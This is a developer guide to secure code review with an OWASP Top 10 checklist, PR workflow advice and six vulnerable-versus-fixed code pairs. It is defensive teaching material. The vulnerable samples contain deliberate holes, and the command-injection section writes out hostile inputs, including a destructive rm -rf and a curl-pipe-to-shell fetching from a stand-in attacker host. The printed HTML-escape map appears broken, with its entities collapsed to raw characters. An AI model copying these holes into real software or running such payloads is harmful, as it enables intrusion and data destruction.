Secure Code Review: A Practical Guide for Developers

What a Secure Code Review Actually Is (and Isn’t)

A regular code review asks: does this work, and is it maintainable? A secure code review asks a different question: how could an attacker abuse this?

That shift in perspective changes everything about how you read a diff. You’re no longer just checking for clean abstractions — you’re tracing untrusted input from the HTTP boundary all the way to the database, the shell, or the browser, and asking at every step whether the code enforces the security properties it claims to.

Application security code review is one of the oldest techniques in the OWASP playbook, and for good reason: it finds entire classes of bugs — business-logic flaws, broken access control, insecure workflows — that automated scanners structurally cannot see. But it only works if it’s done methodically. Ad-hoc “looks good to me” reviews with a vague instruction to “check for security issues” catch almost nothing.

This guide gives you the method: a repeatable process, a checklist mapped to the OWASP Top 10 (2021), real vulnerable-vs-fixed code examples you can learn the patterns from, a pull-request workflow that makes security review stick, and an honest breakdown of when to use manual review versus automated SAST scanning. For the automated side in depth, see our complete guide to Static Application Security Testing.

The Methodology: How to Review Code for Security

OWASP’s Code Review Guide recommends a structured approach rather than reading code line by line and hoping something jumps out. Here’s a practical version that works for real teams:

1. Understand what you’re reviewing before you read a single line

Before opening the diff, answer three questions: – What does this change do? Read the PR description and linked ticket first. – What trust boundaries does it cross? (browser → API → database, user input → shell command, etc.) – What would a successful attack achieve here? (read someone else’s data? execute code? escalate privilege?)

A reviewer who doesn’t understand the feature can’t evaluate whether its authorization checks are correct. This is the single most skipped step — and the reason most “security reviews” are theater.

2. Start with the highest-risk code, not the first file

Don’t review alphabetically. Prioritize in this order: 1. Authentication and session handling — login, logout, token issuance, password reset 2. Authorization checks — every place the code decides who can do what 3. Input handling — anything that touches request, user uploads, URL parameters, headers 4. Cryptography — password storage, token generation, encryption 5. External calls — database queries, shell commands, HTTP requests to other services, file system access 6. Everything else

A 500-line PR where 20 lines handle password reset deserves 80% of your review time on those 20 lines.

3. Trace data flows, don’t just read lines

Pick each piece of untrusted input (query parameter, form field, header, cookie, uploaded file) and follow it through the code. Ask at each sink: is this validated, parameterized, escaped, or authorized? This “source to sink” tracing is the core skill of secure code review, and it’s exactly what automated taint analysis tries to approximate.

4. Use a checklist so you don’t rely on memory

Human reviewers forget. Checklists don’t. The section below gives you one mapped to the OWASP Top 10.

The Checklist: OWASP Top 10 (2021) Code Review Edition

Run through these for every PR that touches relevant code. Each item is phrased as a question the reviewer must be able to answer “yes” to.

A01 — Broken Access Control

• [ ] Does every endpoint re-verify authorization, or does it assume the frontend already did?
• [ ] For object references (IDs in URLs), does the code check that the current user owns or may access that object — not just that it exists?
• [ ] Do failed authorization checks return a generic response (404 rather than 403 where ID enumeration matters)?
• [ ] Are admin-only functions guarded server-side, not just hidden in the UI?

A02 — Cryptographic Failures

• [ ] Are passwords hashed with a real password-hashing function (bcrypt, scrypt, Argon2) — never MD5, SHA-1, or plaintext?
• [ ] Is sensitive data in transit protected (HTTPS enforced, no mixed content)?
• [ ] Are tokens/session IDs generated with a cryptographically secure RNG (secrets in Python, crypto.randomBytes in Node)?
• [ ] Are there hardcoded keys, passwords, or API tokens in the diff? (Check test fixtures too.)

A03 — Injection

• [ ] Is every database query parameterized — no string concatenation or f-strings building SQL?
• [ ] Is user input escaped or sanitized before being rendered into HTML/JS?
• [ ] Are shell commands built with argument arrays (execFile) rather than string interpolation (exec)?
• [ ] Are LDAP, XPath, NoSQL, or template-engine inputs treated as untrusted?

A04 — Insecure Design

• [ ] Does the feature have abuse cases, not just use cases? (What happens with 10,000 requests? With someone else’s ID?)
• [ ] Are rate limits or throttling applied to sensitive endpoints (login, password reset, OTP)?
• [ ] Is there a maximum to what a user can request, upload, or enumerate?

A05 — Security Misconfiguration

• [ ] Are debug modes, stack traces, and verbose errors disabled for production?
• [ ] Are default credentials changed, and are unnecessary features/ports disabled?
• [ ] Do error messages avoid leaking internals (SQL errors, file paths, framework versions)?

A06 — Vulnerable and Outdated Components

• [ ] Does the PR add or bump dependencies? Check them against a vulnerability database.
• [ ] Are pinned versions used rather than floating ranges for security-sensitive packages?

A07 — Identification and Authentication Failures

• [ ] Is credential stuffing mitigated (rate limiting, CAPTCHA, or account lockout with care)?
• [ ] Are password reset tokens random, single-use, and short-lived?
• [ ] Are sessions invalidated on logout and password change?

A08 — Software and Data Integrity Failures

• [ ] Is deserialized data from an untrusted source avoided (no pickle.loads on user input)?
• [ ] Are CI/CD pipeline inputs (actions, scripts, artifacts) pinned and verified?

A09 — Security Logging and Monitoring Failures

• [ ] Are authentication failures, access-control failures, and input-validation failures logged?
• [ ] Do logs avoid recording sensitive data (passwords, tokens, PII)?

A10 — Server-Side Request Forgery (SSRF)

• [ ] Where the server fetches a URL supplied by the user, is the destination allow-listed or validated?
• [ ] Can the URL reach internal addresses (169.254.169.254, localhost, intranet hosts)?

Six Vulnerable-vs-Fixed Examples You Should Memorize

Patterns beat rules. Once you’ve seen these six shapes, you’ll spot them in any codebase. Each example is minimal but complete, and each fix is the real standard remediation — not a toy.

1. SQL Injection (Python)

Vulnerable — the username is interpolated directly into the query string. An input like ' OR '1'='1 changes the query’s logic:

@app.route('/user')
def get_user():
    username = request.args.get('username')
    query = f"SELECT * FROM users WHERE username = '{username}'"
    cursor.execute(query)   # attacker controls the SQL
    return jsonify(cursor.fetchone())

Fixed — parameterized query. The database driver treats the value as data, never as code:

@app.route('/user')
def get_user():
    username = request.args.get('username')
    cursor.execute(
        "SELECT * FROM users WHERE username = ?",
        (username,)          # bound parameter: always data, never SQL
    )
    return jsonify(cursor.fetchone())

What to look for in review: any SQL string built with f-strings, % formatting, or + concatenation. ORMs are safer, but raw queries and .extra()/.raw() calls still need this check.

2. Cross-Site Scripting, XSS (JavaScript/Express)

Vulnerable — reflected XSS. The name parameter is interpolated straight into HTML:

app.get('/greet', (req, res) => {
  const name = req.query.name;
  res.send(`<h1>Hello, ${name}</h1>`);  // <script>alert(1)</script> executes
});

Fixed — context-appropriate output encoding before rendering:

const escapeHtml = (s) => s.replace(/[&<>"']/g, (c) => ({
  '&': '&', '<': '<', '>': '>', '"': '"', "'": ''',
}[c]));

app.get('/greet', (req, res) => {
  const name = req.query.name ?? '';
  res.send(`<h1>Hello, ${escapeHtml(name)}</h1>`);
});

What to look for in review: innerHTML, document.write, unescaped template interpolation, dangerouslySetInnerHTML in React, and any server-side HTML string building. In modern frameworks, check the exceptions to auto-escaping, not the default path.

3. Hardcoded Secrets (Python)

Vulnerable — the live API key is committed to version control, where it lives forever in git history even if later “removed”:

STRIPE_API_KEY = "sk_live_51H8xQ2KLMn..."  # now in git history forever
stripe.api_key = STRIPE_API_KEY

Fixed — secrets come from the environment, never from source:

import os

STRIPE_API_KEY = os.environ["STRIPE_API_KEY"]  # KeyError on startup if missing: fail fast
stripe.api_key = STRIPE_API_KEY

What to look for in review: any string that looks like a key/token/password in the diff — including test fixtures and .env.example files that someone filled in “temporarily.” Pair this with secret scanning in CI (GitHub secret scanning, gitleaks) because reviewers miss these constantly.

4. Broken Access Control / IDOR (JavaScript/Express)

Vulnerable — the endpoint checks that the invoice exists but never checks that it belongs to you. Any authenticated user can read anyone’s invoice by guessing IDs:

app.get('/api/invoices/:id', authenticate, (req, res) => {
  const invoice = db.invoices.findById(req.params.id);
  if (!invoice) return res.status(404).json({ error: 'Not found' });
  res.json(invoice);  // no ownership check!
});

Fixed — enforce ownership server-side, and return 404 (not 403) so attackers can’t enumerate valid IDs:

app.get('/api/invoices/:id', authenticate, (req, res) => {
  const invoice = db.invoices.findById(req.params.id);
  if (!invoice || invoice.ownerId !== req.user.id) {
    return res.status(404).json({ error: 'Not found' });  // identical response either way
  }
  res.json(invoice);
});

What to look for in review: every endpoint that takes an object ID. Ask: “what stops me from substituting someone else’s ID?” This is the most common real-world vulnerability class and the one automated scanners are worst at finding — it’s pure business logic.

5. Insecure Deserialization (Python)

Vulnerable — pickle.loads on user-supplied data is remote code execution, full stop. A crafted pickle payload runs arbitrary Python during deserialization:

import pickle, base64

@app.route('/load', methods=['POST'])
def load():
    data = base64.b64decode(request.form['state'])
    obj = pickle.loads(data)  # RCE: unpickling executes attacker code
    return render_dashboard(obj)

Fixed — use a data-only format and validate the resulting structure:

import json

@app.route('/load', methods=['POST'])
def load():
    obj = json.loads(request.form['state'])  # data only: no code execution possible
    if not isinstance(obj, dict) or 'view' not in obj:
        abort(400)
    return render_dashboard(obj)

What to look for in review: pickle.loads, yaml.load (without SafeLoader), eval, exec, new Function(), and deserialization of session tokens or “state” blobs. The fix is almost always “switch to JSON + schema validation.”

6. Command Injection (Node.js)

Vulnerable — the host parameter is interpolated into a shell command. ; rm -rf / — or more realistically $(curl attacker.com/x.sh|sh) — executes:

const { exec } = require('child_process');

app.get('/ping', (req, res) => {
  exec(`ping -c 1 ${req.query.host}`, (err, stdout) => {  // shell interprets metacharacters
    res.send(stdout);
  });
});

Fixed — bypass the shell entirely with execFile plus an allowlist-style validation:

const { execFile } = require('child_process');

app.get('/ping', (req, res) => {
  const host = req.query.host ?? '';
  if (!/^[a-zA-Z0-9.-]{1,253}$/.test(host)) {
    return res.status(400).send('Invalid host');
  }
  execFile('ping', ['-c', '1', host], (err, stdout) => {  // no shell: args can't become commands
    res.send(stdout);
  });
});

What to look for in review: exec, spawn with shell: true, Python’s os.system / subprocess with shell=True, PHP’s shell_exec. The pattern to demand: argument arrays, never string-built commands.

Integrating Security Into the Pull Request Workflow

A checklist nobody opens is worthless. Here’s how to make secure code review the default path rather than a heroic effort:

1. Put the checklist in the PR template

Add a security section to .github/pull_request_template.md so every PR author self-reviews before requesting:

## Security checklist
- [ ] All database queries are parameterized (no string-built SQL)
- [ ] User input is validated and output is encoded for its context
- [ ] Authorization is enforced server-side on every new endpoint
- [ ] No secrets, keys, or tokens in code, tests, or fixtures
- [ ] Dependencies added/updated: checked for known vulnerabilities
- [ ] Error messages don't leak internals

Authors who check boxes thoughtlessly still do better than authors who never thought about it. And it gives reviewers a concrete starting point for questions.

2. Route high-risk PRs to security-aware reviewers with CODEOWNERS

# .github/CODEOWNERS
/auth/**            @security-team
**/migrations/**    @backend-leads @security-team
Dockerfile*         @platform-team

Not every PR needs a security deep-dive. Route the 10% that touches auth, crypto, payments, or infra to people trained to review it.

3. Make automated scanning a required status check

Configure branch protection so PRs can’t merge until the SAST scan passes. The scanner handles the automatable patterns (hardcoded secrets, obvious injection, known-bad functions); humans handle logic. Neither replaces the other — the next section explains exactly where the line is.

4. Time-box it

A security review that takes three days gets skipped. Aim for: automated scan in under 10 minutes on every PR, human security review within one business day for high-risk changes. Track it (see metrics below) — what gets measured gets done.

Manual Review vs Automated SAST: An Honest Split

This is where most guides get vague or vendor-pitched. Here’s the honest division of labor:

The rule of thumb: if the bug is a recognizable code pattern, automate it. If the bug requires understanding what the code is supposed to do, a human must review it. SAST is a force multiplier for the first category — it never gets tired and checks every PR. It is not a replacement for the second.

A practical setup that reflects this: run a free SAST scan on every pull request to catch the pattern-based issues instantly, then spend your limited human review budget on authorization logic, authentication flows, and business rules — the places where scanners are blind. If you want to try this split without buying enterprise tooling, AutoSAST runs Semgrep-based SAST scans with AI-generated remediation suggestions for free — upload a ZIP or point it at a GitHub repo and it handles the automatable half, so your reviewers can focus on the logic half.

Metrics That Tell You If It’s Working

If you can’t measure your secure code review process, you can’t improve it — and you can’t justify the time it costs. Track these four:

1. Security defect density — security findings per 1,000 lines of changed code, trended monthly. Should decline as training and automation kick in. Don’t compare across teams as a ranking; use it as a trend.
2. Mean time to remediate (MTTR) — from finding reported to fix merged. PR-time findings should close in days; anything older than a sprint is process debt.
3. Escape rate — vulnerabilities found in production (pen test, bug bounty, incident) that should have been caught in review. Every escape gets a retro: was it a checklist gap, a training gap, or a tooling gap?
4. Review coverage of high-risk changes — what percentage of PRs touching auth/payments/crypto got a security-aware reviewer? If this is under 90%, your CODEOWNERS routing isn’t working.

One anti-metric: raw finding counts. They go up when you get better at finding things. Celebrate the trend in density and MTTR, not the count.

Common Pitfalls (What Goes Wrong in Practice)

• Reviewing for style instead of security. Nitpicking variable names while missing the IDOR two lines down. Separate the concerns: let linters handle style, reserve human attention for security and design.
• Rubber-stamping large PRs. Nobody thoroughly reviews a 2,000-line diff. Enforce small PRs — they’re a security control, not just good hygiene.
• Trusting the scanner’s silence. “SAST found nothing” is not “this is secure.” Scanners don’t understand your authorization model. The most dangerous phrase in AppSec is “the tool gave it a clean bill.”
• Only reviewing new code. The vulnerability is often in how new code interacts with old code — a new endpoint calling an old function that assumes trusted input.
• No follow-through on findings. A finding without a tracked remediation ticket is just documentation of a known vulnerability. Every finding gets an owner and a deadline.

FAQ

What is secure code review?

Secure code review is the systematic examination of source code to identify security vulnerabilities before deployment. Unlike a standard code review (which focuses on correctness and maintainability), it asks how an attacker could abuse the code — tracing untrusted input to sensitive sinks, verifying authorization logic, and checking cryptographic practices against standards like the OWASP Top 10.

How is application security code review different from penetration testing?

Code review is white-box: you read the source and can find logic flaws, insecure design, and issues in code paths a pen tester might never reach. Penetration testing is black-box: it validates whether vulnerabilities are actually exploitable in the running system. Mature teams do both — review finds more bugs earlier and cheaper; pen testing confirms real-world impact.

What should a secure code review checklist include?

At minimum: input validation, parameterized queries, output encoding, server-side authorization on every endpoint, secure password storage (bcrypt/Argon2), no hardcoded secrets, safe deserialization, error handling that doesn’t leak internals, dependency checks, and security logging. The OWASP Top 10 mapped checklist in this guide is a solid starting template.

Can automated tools replace manual secure code review?

No. Automated SAST tools excel at pattern-based issues — SQL injection, XSS, hardcoded secrets, dangerous function use — and should run on every pull request. But they cannot evaluate business logic: whether this user should access that object, whether a workflow can be abused, or whether a design is fundamentally insecure. Use automation for patterns, humans for logic.

How long should a secure code review take?

The automated scan should complete in minutes as a PR status check. Human review of a high-risk change should happen within one business day. If reviews routinely take longer, the problem is usually PR size — break changes into smaller, reviewable chunks rather than skipping security review under time pressure.

Which vulnerabilities are most commonly found in code review?

In practice: broken access control (especially IDOR — missing ownership checks on object IDs), injection flaws (SQL, XSS, command injection), hardcoded secrets, insecure deserialization, and authentication weaknesses (weak password reset flows, missing rate limiting). Notably, broken access control tops the OWASP Top 10 precisely because it requires human judgment to spot — scanners miss it.

The Bottom Line

Secure code review isn’t a separate ceremony — it’s your existing PR process with attacker-minded questions, a checklist that survives human forgetfulness, and automation handling the pattern-matching so humans can spend their judgment on logic. Start with the PR template and CODEOWNERS routing this week, add the OWASP-mapped checklist to your next high-risk review, and let a free SAST scan catch the mechanical issues on every commit. The vulnerabilities you prevent in review are the incidents you never have to write postmortems for.